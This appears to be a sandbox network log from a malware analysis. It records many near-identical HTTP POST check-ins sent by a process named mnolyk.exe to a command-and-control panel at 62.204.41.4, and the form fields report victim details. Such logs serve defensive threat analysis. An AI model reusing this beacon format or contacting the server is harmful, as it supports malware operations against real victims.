Feb 6, 2023 18:36:33.899866104 CET	588	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:33.962744951 CET	588	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.7	49869	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:34.178044081 CET	589	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:34.246464968 CET	589	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.7	49870	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:34.488373995 CET	590	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:34.551070929 CET	590	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.7	49871	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:35.146965981 CET	591	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:35.213232040 CET	591	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.7	49872	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:35.424115896 CET	592	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:35.490262032 CET	592	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.7	49873	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:36.003659964 CET	593	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:36.069278955 CET	593	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.7	49874	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:36.510726929 CET	594	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:36.575668097 CET	594	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.7	49875	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:36.759661913 CET	595	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:36.823663950 CET	595	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.7	49739	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:01.266268015 CET	447	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:01.331387043 CET	447	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.7	49876	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:37.001688957 CET	596	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:37.067255020 CET	596	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.7	49877	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:37.241185904 CET	597	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:37.303318977 CET	597	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.7	49878	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:37.478497982 CET	598	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:37.544193983 CET	598	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.7	49879	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:37.726488113 CET	599	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:37.790949106 CET	599	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.7	49880	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:37.960429907 CET	600	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:38.026807070 CET	600	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.7	49881	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:38.196455002 CET	601	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:38.263988972 CET	601	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.7	49882	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:38.444359064 CET	602	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:38.507621050 CET	602	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.7	49883	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:38.704699993 CET	603	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:38.772583961 CET	603	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.7	49884	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:38.947005987 CET	604	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:39.011766911 CET	604	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.7	49885	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:39.224149942 CET	605	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:39.287807941 CET	605	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.7	49740	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:01.508138895 CET	448	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:01.572156906 CET	448	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.7	49886	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:39.465156078 CET	606	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:39.527257919 CET	606	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.7	49887	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:39.694820881 CET	607	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
